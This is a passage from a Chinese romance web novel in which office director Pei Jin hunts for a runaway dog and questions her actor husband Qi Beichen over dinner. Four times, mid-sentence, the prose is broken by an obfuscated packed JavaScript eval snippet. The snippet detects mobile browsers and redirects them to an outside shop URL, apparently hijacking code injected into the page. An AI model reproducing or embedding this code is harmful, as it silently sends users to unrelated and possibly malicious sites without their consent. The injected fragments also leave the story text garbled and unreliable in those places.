裴矜心里感动但还是婉拒了吕恪:“没事,我一会儿自己来吧。” 吕恪了然地点了点头:“主任,茶要趁热喝,当心烫口。没什么事,我就先走了。” 吕恪走后,寂静的办公室内回荡着裴矜敲键盘的声响。直到十分钟后,裴矜掐着点给狗子喂食时才发现小土匪一脸怨念,狗头侧向一边一副气鼓鼓的样子。 她还没审问这来历不明的狗子是什么情况,狗子反而先生她的气是闹哪样? 裴矜无语,只当是一上午没陪它玩,它闹小情绪,把狗粮一倒就准备去会议室做准备工作。 “汪!呜……” 见裴矜要走,小土匪刚嚎了一嗓子却半路停了下来,两只眼睛里写满了委屈,和新婚就守寡的新嫁娘似的。 再硬的心肠面对萌物示弱,又有谁能下得去嘴? 裴矜自认做不到。她放在门把手上的手一顿,侧过头放软了语气哄了小土匪一句:“你先吃饭,等我忙完了,会陪你玩一小会儿。但前提是,你得老实交代藏了什么东西。” 小卷毛的眼睛瞬间亮了不到半秒钟就如汽车引擎一样自动熄灭了。 裴矜摇摇头,暗想这狗是一点亏都不肯吃,点了点狗子的额头吩咐它好好待着就走了。 然而老天注定要和裴矜继续开玩笑,当她一个小时后回到办公室的时候,面对的是一片狼藉。 狗盆被踹翻,狗粮撒了一地。真皮沙发上有几缕湿漉漉的狗毛,地毯上留着快要干透的狗爪印,一路延伸向外,到了与别的地毯的交界处就中断了。 裴矜在原地愣了半分钟,她很快冷静下来回忆着小土匪之前可疑的举动。沙发缝隙、航空包里什么都没留下,小土匪藏的东西也一起随狗消失了。 一条线索断了,裴矜把希望放在了留守在办公室吃饭的其他同事。然而午休时间没人注意那么多,只能含糊地提供“看到小狗急匆匆出去了”这一条模糊的线索就没了下文。 裴矜转念一想,随即拜托了行政部的同事调取监控查看录像,最终锁定了狗子消失在更衣室到办公室的走廊里。 裴矜打算立即去走廊附近找狗,她的电话响了,拿起一看才发现手机不知何时被调成了震动模式,一大排的未接电话上显示着一个相同的名字——齐北宸。 裴矜觉得要是她修的是无情道,现在就想把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694106|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 齐北宸砍了来个杀夫证道。 狗子还没找到,又来了个比狗子还难伺候的狗子,怎么就她的人生过得堪比渡劫一样难受。 吐槽解决不了问题,裴矜深吸一口气,平复下心情后立即回电。电话拨通才响了一声,对面秒接起。 “咳咳,裴矜啊,是我。” 电话那头的声音略带沙哑,但听上去不像有什么事的样子,裴矜紧绷的心略微放松,寻狗未果的焦躁感再度攀升。 “知道是你,什么事?” “你能帮我去拿下快递吗?” 裴矜觉得他似乎脑子不太清楚:“我现在在上班,要拿快递你找王妈不就好了?没事我挂了,我还要找狗。” “别!求你了,老婆!我总比狗重要吧!”齐北宸才大声喊了几个字,就又压低声音道,“快递都送到你公司楼下的,帮个忙呗,算我欠你个人情行不?” “哈?你寄到我们公司干嘛?” “因为我现在就在你们单位!” 裴矜嘴角抽搐,大脑都空白了一瞬:“你喝多了就去醒醒酒再来。” “没喝多,真的!我现在可急了!”齐北宸慌里慌张的催促声音在空旷的空间里回荡着,“具体什么原因我现在不方便和你解释,救人如救火!拜托你了!” 裴矜的脑海里浮现出一个非常离谱的问题: 求问:一个男演员为何要把快递寄到不熟的老婆公司里,且本人明明在场还要假他人之手,有何必要? 那么高深的问题,想必爱因斯坦复活都解不出。 有利不图,过期不候,在狗子和齐北宸之间做幸福二选一,裴矜果断选择了后者。 对不起啦小土匪,请再等她一会儿,就一小会儿。 “你欠我一顿饭。” 电话那头的齐北宸欣喜若狂:“没问题,包在我身上!就是……” 裴矜的语气生分得不行:“请问大少爷您还有什么指示?” 齐北宸干笑:“指示不敢当,能不能帮我把东西放在男更衣室门口?” 嘶……她不会无意中在帮齐北宸做什么坏事吧? 电话那头没有回应,齐北宸咽了口口水继续游说:“等你拿到东西就知道了,绝对不是违法乱纪的事,我以人格担保!” 得,话都说到这个地步了,再追问下去也没意义。裴矜答应后下楼来到公司门口,快递小哥早已等候多时。 东西是从家里寄过来的,寄件人是王妈,拿在手里颇有分量。寄给别人的东西,裴矜不敢擅自打开,她隔着袋子摸了摸……嗯?为什么会摸到一双鞋子的轮廓。 裴矜转身上楼,一边搭电梯一边继续瞎子摸象。凭借她不俗的触感大致可以感觉出里面有一双鞋、一套外衣、一套内衣裤甚至还有一双袜子。 装备如此齐活,齐北宸你到底经历了什么? 午休时间的更衣室几乎没人,走廊里只有裴矜一人的脚步声。依言把东西放在男更衣室门口,还没等她给齐北宸拍照发照片,里面伸出一只健壮的男性胳膊,紧接着又是一颗湿漉漉的脑袋探了出来。 裴矜在毫无准备的情况下,就这样与她在内心足足骂了一天的男人对上了眼,而他身上正散发着一股熟悉的狗油味。 5. 左右逢狗 裴矜是个重度颜控。要不是齐北宸的皮相够优越,宽肩窄腰大长腿,她相亲还真不一定能看上这位中二期没过完的大少爷。 但现在她这个不熟的老公全身散发的浓郁气味直接把他的颜值干到了零分。 忍不了了,他自己就没闻到吗? 裴矜嫌弃地捏住鼻子,后退了一小步,指了指门内:“更衣室里有浴室,我建议你先洗个澡再换衣服。”她停顿了一下,又补充道,“等你洗完出来,我有事要问你。” 裴矜说完就把门一关,独自往前走了一段路,在通道的转角处等着齐北宸。 走廊里寂静无人,偶有零星的员工路过。裴矜倚靠在墙壁上,双手环胸思考着接下来要怎么做。 那上头的狗油味和小土匪一模一样,裴矜非常肯定自己没有闻错。那么问题来了,怎么捅破这层窗户纸呢? 直接问:你是不是养了一条狗?这样似乎太傻了。 让齐北宸从实招来为什么回消息那么晚?他俩这浅薄的法律关系不足以支撑她去审讯。 那不如……有了! 更衣室内的水声渐停,裴矜挺直了腰板,双手自然垂落,等待齐北宸出来。 一个穿着印花T恤衫,脚穿运动鞋,188的大长腿裹在休闲牛仔裤里的清爽男大,推开门从里面走了出来。 洗完澡的齐北宸身上没了小土匪一般难以消受的狗油味,反而多了一丝清冽好闻的沐浴芬芳。 刚刚跌到零分的颜值重新怒回顶点。 齐北宸推门第一眼看到裴矜时露齿一笑:“嗯?怎么了?” ……事实证明,一口气吸高浓度帅哥对心脏不太友好。 “咳咳。”裴矜别过头轻咳了几声,把眼睛从齐北宸的身上勉强挪开。她整了下衣服上的褶皱,下巴微扬,“跟我走吧。” 俩人穿过办公区域进入裴矜的办公室,一路上有不少同事注意到了样貌惹眼的齐北宸。裴矜不语,身后的齐北宸则冲着所有看他的人微笑着点头致意。 真是轻松啊,大明星,希望你一会儿也能发自内心地笑出来。 甫一进入办公室,裴矜就差点踩到还没来得及收拾的狗盆和散落的狗粮。 齐北宸见状收敛了笑意,借了个扫把利落地和裴矜一起收拾。 平时在家家务活大多是家政阿姨王妈一手包办,俩人鲜少一起动手干什么。 俩人婚后第一次的家务活体验算不上愉快,整个办公室里除了扫把扫地的声音,就只剩下他们的呼吸声,安静得不合常理。 一地狼藉收拾过后,俩人面对面坐下。 “齐北宸,我问你的事,请你务必老实回答我。”裴矜拿起茶杯,抿了一口水,眼睛盯着他的,“我们公司有门禁,普通人上不来,你是怎么进来的?” 齐北宸往后一靠,双手枕在脑后:“哟,还没发现你有喝醉就断片这属性呢。前两天你们公司聚会,你同事送你回来,我在门口和你说了,我有个朋友要寄放只狗来咱家。我后几天要拍戏没法全程管狗,拜托你临时照顾一下。你一口答应,还拍着我肩膀说'包在我身上'。” 裴矜愣了一下,隐约觉得好像有这么回事。但醉酒后的记忆糊成一团,她分不清是真实发生过,还是齐北宸嘴里编出来的。 裴矜平时不太喝酒,她也不清楚自己喝醉了究竟是什么模样,只能继续观察齐北宸,试图从他的表情里看出一丝破绽。然而后者始终一副“你信不信无所谓,事实如此”的气定神闲模样。 她的理智告诉自己要相信齐北宸,她的直觉又在忍不住怀疑齐北宸。 这世上真会有如此巧合的事情,她正好喝多了,齐北宸正好不在,小土匪正好消失?拍电视剧都要讲基本法,这剧情丢出去谁敢信! 见裴矜眼中的怀疑始终不散却又沉默不语,齐北宸主动打破了僵局:“我那个朋友就是你们公司的员工,中午我和他吃饭,他问我狗咋了。我说啊呀,兄弟,这两天我在外面拍戏才刚停下,我也不清楚,回头我帮你问问,保证你家狗和过来时候一个样。” “正说着,那只棕色小钢炮就咻的一下奔过来了。那速度比博尔特还快,横冲直撞的,把桌子都给掀了。他开心了,我倒霉了,从头到脚被泼一身,我找谁说理去?就只能缩在更衣室里当王八,等我们亲爱的裴主任来解救我了。” 道理是这么个道理,裴矜挑起半边眉头思忖着:“听你的意思是现在狗子物归原主了?” “对啊。” 裴矜拿起茶杯放在嘴边,并没有真的喝茶,她的目光锁定在齐北宸的身上,看似随意地问了一句:“你在我们公司还有朋友啊,之前没听说过。我认识吗?” 齐北宸歪靠在沙发上的姿势没变,上扬的嘴角定格了一瞬:“这个嘛……” “咚咚” 齐北宸的话还没完就被一阵敲门声打断了。 裴矜吸了口气,靠在椅背上:“进来。” 吕恪手里拿着一打资料进来,眼睛的余光扫过沙发上大咧咧坐着齐北宸后,规矩地放在裴矜的桌上:“主任,你要的资料都准备好了,请过目。” “辛苦你了,我一会儿会看的。” 裴矜的话是对着吕恪说的,眼睛却始终落在后面的齐北宸身上。 吕恪瞥了一眼裴矜的小动作,微微一笑:“是我唐突了,不知道主任这儿还有客人在。” 他算客人吗? 裴矜有点不知道该怎么回答这个问题,坐在沙发上的齐北宸动了。他站起身,往前走了几步,略微俯身对着吕恪伸出手,两只眼睛直视着对方:“齐北宸。” 吕恪转过身,回以握手:“幸会,我是吕恪。” 两个男人的手短暂接触了一瞬,很快分开,视线却没移开。 齐北宸上下打量了吕恪一番,露出一抹爽朗的笑容:“听闻贵司人才济济,今日一见,果然非同凡响。” 吕恪不置可否,并未顺着齐北宸的话往下说:“齐先生说笑了,不知道有什么我可以帮您的吗?” “不敢当。”齐北宸说话的时候双手插兜,头转向门外,“正好我想熟悉一下,裴主任也有事要忙,您看……” 吕恪心领神会地做了个请的动作:“乐意为您效劳。”他说着,又转过头对着裴矜点点头,“主任,我就先走一步了。” 沉浸式看戏的裴矜这才回过神来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694107|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,嗯了一声。 两个身材高大的男人一前一后离开了办公室,室内重归寂静。 要是真的那么太平倒好了。 裴矜长叹一口气,后仰抬头看着雪白一片的天花板。她的脑内闪过很多零散的碎片,但无法组成一幅完整的画面。 齐北宸在她面前从来不会说那么客套的话,吕恪的表现还是一如既往的完美。两个麻烦出去了,世界重归和平,她应该高兴才对,可事实并非如此。 总感觉缺了什么,到底是什么呢? 裴矜想了半天也没个结果,索性不想了。她翻开吕恪拿来的资料,投身工作。 工作的时间总是过得很快,当裴矜再度从文件里抬起头时已临近下班时分。夕阳西下,人声鼎沸的办公室渐渐安静了下来,大家熙熙攘攘地收拾东西准备打卡走人。裴矜也是这样,正当她拿着航空包准备打包时,她办公室的门被人推开了。 齐北宸捧着一堆不知道从哪儿淘来的零食,对着裴矜咧嘴一笑:“裴矜,看不出来啊,你在公司人气还挺高的。” 裴矜有些无语。她进公司那么多年都没被人投喂过那么多,齐北宸才几个小时就满载而归,这就是社交悍匪的硬实力吗? 裴矜不接话,齐北宸也收敛了笑意,默不作声地帮她一起收拾打包,眼角的余光时不时瞥向裴矜。 “你……”裴矜抿了抿唇,背起包准备锁门,“我以为你早回去了。” 齐北宸自觉地负责拿着小土匪的狗狗用品:“我回去干嘛?说好了要请你吃饭,我可不是食言而肥的那种人!” 裴矜怀疑地睨了他一眼,被盯得浑身不自在的齐北宸拍拍胸脯道:“君子一言,驷马难追。说,想吃什么,山珍海味还是私房大餐,小爷我全包了。” 听听,又吹上了,这人什么时候有不那么自信的时候。 裴矜好笑地摇摇头,俩人离开办公室,跟在大部队的后面排队打卡。 这么简单的一件事因为多了一位临时贵客,完全变了味。 身为员工家属的齐北宸,今天出现在打卡机显示屏上的频率比屏幕上还高。别人扫脸,三次里面至少有一次能扫到他。 一开始他并没注意到这些,只顾着和裴矜说小话。注意到后,他大少爷的玩耍时间到,对着镜头就在比耶。 看着频频回头的其他员工,裴矜感觉万分抱歉,她瞪着齐北宸,拍了他的肩膀一下,压低声音警告:“干嘛啊你,影响正常下班秩序。” “哎哟哟~轻点,疼。” “你还知道疼啊,出息。” 裴矜刚要转过头就瞥到齐北宸又在大招手,她想都没想就一巴掌拍往齐北宸身上招呼:“又捣乱!” “冤枉啊!”齐北宸这次可委屈了,他弯下腰在裴矜耳边说,“哎,看到刚刚和我挥手的人了吗?” 裴矜定睛一看,表情抽搐。 那不是市场部的王牌吗?前几天她喝醉,还有这哥们出的一份力呢。 齐北宸却是另一副模样,他努努嘴暗示道:“他是我朋友,也是小狗的主人,这下你该放心了吧!” 这么个放荡的家伙会是小土匪的主人?真的假的? 6. 随便日料店 裴矜是个低调的人,低调到非必要不会主动和人产生交集。 齐北宸的这位朋友除外,哪怕裴矜真的不认识这位朋友,也不妨碍她听说过此人的诸多夸张传闻。 直到前两天公司聚会,裴矜对这位仁兄从理性认识进一步升华到了感性认识。总结起来就一句话:珍爱生命,远离此人。 在看到对方的那一霎那,裴矜平静的胃袋仿佛在回应着那场并不愿被提及的醉酒经历,胃酸暗涌掀起阵阵浪潮。裴矜的大脑和胃瞬间达成了一致性——先撤吧,再多看几眼,中饭都得被召唤到吐出来。 眼睛偷偷看了一眼笑得像花似的齐北宸,对于他之前提供的答案,哪怕她再想校对是否正确,此时也只能挤出一个“嗯”来。 打卡机前人头攒动,人声随着一个个员工的离去变得渐渐安静了起来。 好不容易等裴矜挨到,扫脸完毕,左脚刚刚启动还没落地,迎面就撞上了相向而行的吕恪。 他的手里拿着一个纸袋子,里面散发着一股好闻的食物香味,把裴矜泛滥的胃酸奇迹地压下了一点点。 吕恪对上二人,脸上挂着温和的笑容,点点头道:“主任、齐先生下班啦?” 下属如此努力,难得准时打卡下班的裴矜没来由地冒出了一丁点罪恶感,她礼貌性一笑,还没来得及说什么,身后的齐北宸已经一步迈到了她的前面,高大的身形几乎遮挡住了她。 “是啊,正准备走呢。”齐北宸眼睛向下瞥了瞥吕恪纸袋子里的东西,嘴角一勾,“哟,吕先生这是要加班的节奏?年轻人,多注意点身体,别太拼了。” 吕恪嘴畔的笑容僵了一瞬,随后扩大:“多谢齐先生关心。主任,我先去忙了。” 说完,他只给二人留下一个潇洒从容的背影,径直走向了工位。 裴矜的视线没有立即移开,追着吕恪看了数秒才重新落回前方的公司logo上。 嗯,小吕同志真是一个好下属,年纪虽小,在某些方面比起某人来要强不止一点啊! “看什么呢,那么入神?”挡在裴矜身前的齐北宸不知何时已经走到了几步之外,对着裴矜招招手,“下班了还杵在门口当门神,裴主任你也太敬业了。我金贵,我饿不起,咱能吃饭去了吗?” ……没见过请客的比被请的还着急的。 裴矜小跑了几步追上,齐北宸刻意放慢了脚步,与她并行着:“给你几分钟的时间,速度想想一会儿怎么宰我。” 裴矜一秒都没带犹豫,脱口而出:“随便。” “哎,你这人不按套路出牌啊。”齐北宸嘴上嫌弃得很,笑容不减,“想吃随便是吧,就不怕我真把你带去吃'随便'吗?” 裴矜耸耸肩,脸上写着“那又如何”呢。 齐北宸挑眉,连说了三个好:“一会儿你别后悔就行。” 切,吓唬谁呢,纸老虎一只。 当几分钟后汽车导航上显示定位到“随便日式料理”的那一刻,裴矜哭笑不得。 齐北宸看向裴矜的眼神里带着一丝得意,露出一口大白牙笑着问道:“裴主任,你看,'随便日式料理',多好的一家店,多好的一个名字,完美符合你的要求。你还在等什么?发动引擎Let'sgo!” 败给他了,怎么真有一家店叫这么个名字。 脚踩油门,熟练地打着方向盘,裴矜的心湖并不平静。她确实挺喜欢吃日料的,可除了新婚蜜月旅行那几天之外,他们俩人从来没在一起进过餐,齐北宸是怎么知道的? 眼睛的余光几次偷瞄齐北宸未果,后者顶着一张贱兮兮的俊脸凑到了裴矜旁边:“你是不是很好奇我怎么知道的呀?” 裴矜脖子一缩:“我在开车,你注意点。” “哦。” 齐北宸配合地稍微拉开了一段距离,两只眼睛一眨不眨地看着她,但就是不说一个字。 狗东西,故意吊她胃口是吧? 裴矜吸气吐气了几个回合,心里非但没有平静下来,不爽的感觉反而被拉到了极点。 天人交战几回合,她扯了扯嘴角,一脸嫌弃:“说。” 齐北宸笑得一脸灿烂:“因为你朋友圈上个月发了说想吃寿司。” 啊?就这? 裴矜握着方向盘的手一顿,眉头皱起:“就这么简单?” 齐北宸点点头:“不然呢?硬要说的话,嗯……我记得我们俩出去度蜜月的时候,你好像就很喜欢三文鱼那些。” 裴矜有点意外。齐北宸是个含着金汤匙出生的大少爷,她婚前就知道这一点。他个性张扬,想到什么做什么,仿佛像个没长大的孩子。 但这就这么个大孩子会因为她的一个举动,一条朋友圈记住她的口味……这样的感觉,裴矜认为不赖。 是很不赖。 此时无声胜有声,俩人默契地都没有继续追问下去。 裴矜嘴角偷偷上扬着开车,齐北宸单手撑着头时不时望向裴矜专注的侧脸,安静又美好。直到裴矜手机响起的那一刻,这份短暂的温馨被打破了。 裴矜扫了扫齐北宸,后者立马拿出手机开始转移注意力。 “谢谢。” 裴矜趁着等红灯的间隙点开了手机,消息是唐蜜发来的。 唐蜜,人如其名,娇俏可爱又嘴甜,是裴矜的助理。业务能力尚可,但裴矜私下和她交流不多,原因无他,小姑娘喜欢追剧磕糖,裴矜每次听到她高密度输出磕CP金句的时候都吃不消,最多赔个官方微笑。 然而今时不同往日,最大的变量来源自重量级鲶鱼齐北宸先生。 唐蜜:啊啊啊主任,你办公室今天那个帅哥是谁? 唐蜜:长得超像齐北宸的,就是比齐北宸还要年轻得多,好爽朗一个大男孩哎~ 唐蜜:他下午在我们这儿和市场部的人聊了好久,我路过问他要不要喝水,他和我说谢谢,声音超好听的!! 裴矜开屏就被唐蜜刷屏刷了一脸,大脑都停摆了一瞬。重启后她察觉到了一些有意思的点。 嗯……这个小助理或许回头能从她嘴里问出一点别的信息也未可知。 想到这里,裴矜快速给唐蜜回了一句。 裴矜:在外面,不方便。回头我找你细谈。 唐蜜:路上小心哦,主任。等你~ 收起手机,重新启动车子。车内淡淡的温馨氛围悄然改变了。 裴矜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694108|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 安静地开着车,目光若有似无地落在齐北宸身上。后者拿着手机不知道在干什么,指尖噼里啪啦地在敲击着屏幕,神情专注得像在研究课题,看都不看她一眼。 这人在车上瞎忙活什么呢,刚刚才那样,一下就抽离去忙别的了? 几次回头都是如此,裴矜轻咳一声,打破了宁静。 齐北宸从手机屏幕后探出头来,好奇地看着裴矜:“有事吗?” 这话不是应该她问他吗? 裴矜目不转睛地看向前方的道路:“你……好像挺忙的。” “对啊。”齐北宸不假思索地回答,“你知道我在干什么吗?” 裴矜懒得搭理他,握着方向盘的手微微收紧。 同一招对她用只会增加她不必要的情绪,这个幼稚的男人知不知道啊。 齐北宸见她不语,干脆把手机拿到她面前晃了一下:“之前担心那只卷毛狗的是谁啊?现在放到面前了也不看一眼,小狗狗知道要哭鼻子咯~” 谁说她不看了,该死的,她现在在开车! 驶入车库,倒车停车,熄灭引擎一气呵成,裴矜一把薅过齐北宸的手机,上面果然是小土匪的丑照。 小钢炮的狗脸几乎占据了整个屏幕,画面有些糊,但特写镜头下,它耳朵后面的那撮毛还秃着,百分百是本尊没错! 之前的担忧仿佛被卸掉了大半,裴矜如释重负。她又贪恋地看了狗子的照片好几眼,才把手机还给齐北宸:“你哪儿来的照片?” 齐北宸倒是大方:“问我哥们要的呗。怎么,你喜欢这种风格的狗啊?要不要我把照片传给你?” 裴矜声音瞬间拔高:“谁要了,那么丑的狗你自己留着看吧。”她顿了顿,又问,“狗子现在还好吧?” 齐北宸眨眨眼,显然没明白裴矜的意思:“它还能有什么不好的?” “你……算了。”裴矜嘴巴开合了几下,最终没能把话说出来,“去吃饭吧。” 俩人一同下车,齐北宸心情颇好地哼着歌走在前头,裴矜盯着他的背影微微出神走在后面。 小土匪被原主人接回家,甚至还能看到照片,说明它确实过得不错。可是为什么她总隐隐感觉这事似乎远没有那么简单? 裴矜所有的宣泄都找不到出口,人证物证都在,事情已经完结了。一个皆大欢喜,没有人受伤的世界达成了,然后…… 她感觉有点空落落的,伴随着这种空虚的还有一种不合常理的宁静。 说不上来的感觉真难受,裴矜决定要拉个人陪自己一起坐牢。 完全不知道自己成了猎物,齐北宸还贴心地一路为裴矜拉门、引路,直到俩人进入了这个一点都不随便的随便日料店坐下,裴主任又一次露出了她轻易不肯亮出手的獠牙。 日料的装潢是经典的日系风格,古朴雅致,以木质装潢为主,桌椅也相对低矮一些。 这些对裴矜来说刚刚好,对齐北宸就有些局促了。长手长腿无处安放,拿着菜单的样子格外搞笑。 裴矜现在没心情欣赏,她快速点完东西后双手环胸,等着齐北宸点完他的那一份,随后慢悠悠地开口:“刚刚车上忘了问,你那个朋友叫什么名字啊?” 7. 齐门宴 店内悠扬的音乐停滞了一下,又继续舒缓地流淌着,食物的香味隐隐传来。 “朋友?你问具体哪个?”齐北宸漫不经心地后仰着,“我的朋友遍天下,你又不是不知道。” 这个男人是真的傻还是又和她演上了? 裴矜面无表情,斜睨着齐北宸:“你说呢?” “哦~养狗的那位啊。”齐北宸摸摸下巴,不答反问,“方铭不是你们公司的人,你应该知道比我清楚,怎么反过来问我了?” 裴矜盯着齐北宸沉默了几秒,摇摇头道:“我和他不熟,你是怎么和他对上号的?” 齐北宸的眼珠子转了转:“嘶……这个问题有点难回答啊。对眼神或者脑电波?这样的说法太抽象了,我更愿意说,我和他聊得来,在某些方面。” “哪些方面?” “停,我们先暂停一下。”齐北宸比了个手势,恰好服务员端着饭菜上来了,他给裴矜夹了一筷子鱼,才往下问,“打个不知道是否恰当的比方,我现在像个犯人,你像个审讯官。你自以为掌握了一堆的证据,而我却不知道罪名是什么,这不是很荒唐吗?” ……那也比不过咱俩的闪婚荒唐。 碗里那块鱼肉,晶莹剔透,肥美鲜嫩,一看就是上等货。裴矜拿起筷子夹起鱼肉放在嘴里,入口即化的细腻感觉在舌尖炸开。 “我从没说过你犯错了,不过要是我让你感觉不舒服了,我道歉。”裴矜也给齐北宸夹了一块寿司放在他的碗里,“我只是想多看看那只小狗,这也不行吗?” 齐北宸的筷子在手里转了两圈,耸耸肩:“这样啊,我还以为……” “以为什么?” “以为你和我那些粉丝一样,觉得我只喜欢二次元的女性,三次元的男性。吓得我刚刚一个字都不敢说。” 裴矜刚刚入口的大麦茶差点全招呼在齐北宸脸上。 知道他说话做人不拘小节,大庭广众的,这也太豪放了吧! 齐北宸却不以为然,嘴里嚼着寿司碎碎念道:“方铭那人名声不好,花心大萝卜,见一个爱一个,你会抵触很正常。不过我是男人嘛,我又不娶他当老婆,我只关心这人待人是否真诚,是不是有趣就够了。” “你想嘛,你一个别的部门的人都对他印象不好,他说一百遍'我其实私下是个很有爱心的人,请帮我临时看一下我的爱犬'这种事说出去谁信?你是已婚妇女还好一点,单身小姑娘听到他的花名第一时间想的肯定是他又在钓女孩子。” 道理好像是这么个道理。裴矜皱着的眉头舒展了一些,顺着他的话往下推:“所以他就拜托你了?” “对啊,事情就是那么简单。”齐北宸大快朵颐地吃着饭,吃相斯文,和进食速度截然相反,“只不过他不知道我是你老公,甚至你们公司的人也都没发现,是不是很好笑?” 裴矜沉默了。她试图从齐北宸的眼里追寻出一丝慌乱或者掩饰,可她面对的齐北宸只是一味地干饭、随意,仿佛只有自己一个人在斤斤计较。 “那小土狗……” 齐北宸直接打断:“怎么就小土狗了,裴主任你搞颜值歧视啊。” 裴矜不以为意,甚至语带嘲讽:“你一天都没养过它,我说一句你就炸毛,急什么啊。” “那也不行,没我的应承,你有近距离吸狗的机会吗?”齐北宸眼睛瞪得像铜铃,一脸严肃道,“我可听方铭说你给人家爱犬起名叫小土匪了,小狗现在哭得可伤心了。” 裴矜一阵心虚,转念一想又觉得有点不可思议。 狗又不是人,就算她喊狗子小土匪了,狗也不可能指着她的鼻子和方铭说“爸,她喊我小土匪”,除非这狗业余时间去进修人类语言学了,又不是在拍科幻片,闹呢。 见裴矜不接嘴,齐北宸干脆拿出手机放出一段录音。 “小土匪?哈哈哈哈,裴主任还挺有创意的吗?” 方铭的笑声回荡在包厢里,裴矜的脚趾直接抓出一座梦幻魔仙堡。 明明是她在问齐北宸,怎么绕了一圈被他带了节奏?! 裴矜有些不服气,她正要开口,只见齐北宸往她碗里又塞了一大堆吃的,笑眯眯地献殷勤:“说了那么多话累不累啊?来,吃一点再继续问。” 真想一巴掌拍死这个狗男人。裴矜一边咬牙切齿地进食,一边恨恨地想。 包厢里剑拔弩张的氛围悄然淡了许多,只剩下细微的咀嚼声和餐具的碰撞声。裴矜酒足饭饱,心里的那些不爽也随着食欲的满足消退了些许,连带看齐北宸也没那么不顺眼了。 裴矜的余光无意间扫过角落里的包,她的手机此刻正安静地躺在包底。 她喝了一口茶,思考了一会儿后,问道:“我想问个问题,就是不知道……” 齐北宸二话不说点点头:“问呗,多难得的机会。” 裴矜紧绷的肩膀放松了些许,眼睛注视着他:“你好歹是个演员,没被人认出来不会觉得有点心酸吗?” 闻言,齐北宸的进餐动作慢了下来,灯光在他长长的睫毛上投下一片阴影:“想听实话还是假话?”没等裴矜回答,他又自顾自往下说着,“作为演员的齐北宸可以潇洒地说'我要为艺术献身',作为私下的齐北宸嘛……不心酸,只会觉得他们没眼光。” 没眼光算什么回答,他是在回避这个问题吗? 裴矜有点发懵,这个答案荒诞中又透着些许认真,她追问:“你就那么自信?” “那是演员的自我修养,习惯了。”齐北宸不知何时已经把自己的那份一扫而空,粗犷又不失优雅地擦擦嘴。视线从远处渐渐回落到空荡的餐盘上,他勾出一抹熟悉的张扬笑容,“再说了,这样说明我的进步空间大,顶流才没那么舒服的事,都便宜我了,爽。” ……真是一个非常齐北宸式的回答,要是再追问下去,似乎会显得她有点不懂事了。 体面人裴矜没有接话,微微颔首欣赏着她这个法律上丈夫的脸。 齐北宸是典型的骨相优越,五官清晰,气质干净,区别于时下流行的冷白皮,他是个暖白皮,充盈的气血让他看上去更加健康、有活力,也难怪唐蜜一眼没认出他来。 见裴矜忽然没了声音,齐北宸低垂的眼眸往上一抬,嘴角向上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694109|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 挑,语气轻快:“哎,裴主任,我的脸难道比怀石料理还能果腹啊?” 啧,刚刚还觉得他帅呢,一秒打回原形去了。 裴矜想吃餐后甜品的心荡然无存,拿起包准备起身:“我吃饱了,走吧。” “好嘞。” 齐北宸先于裴矜一步扫码买单。他低下头拿着手机付钱的时候,裴矜发现他右侧耳朵后似乎少了一小撮头发,这对把颜值时时刻刻放在第一位的齐北宸来说是并不常见。 这个位置……是自己想太多了吗? 裴矜有些疑惑,眼睛停留在那块皮肤上的时间长了些许,正巧和付完钱的齐北宸不期而遇,后者笑得甭提有多开心了:“裴主任,要不要我回去给你搞几个签名照啊?放心,免费的,不收任何服务费。” 谁要他的破签名照了,三流糊咖真会给自己加戏。 裴矜克制住要翻白眼的冲动,点了点自己的右耳后:“在给人签名照之前,你要不要先照照镜子收拾一下自己的仪表?” 齐北宸下意识抬起手摸着自己的耳朵后:“我的仪表怎么了?不是一直……” 话说到一半,他停了下来,咽了口唾沫后扯了扯嘴角,一脸的不想继续:“刮胡子不小心蹭到的,这都被你发现了,裴主任厉害啊。当代列文虎克,自带八倍镜,你能放过我别鞭尸了吗?” 谁家刮胡子会刮耳朵后面去的,真当女人不用刮胡子就没常识吗? 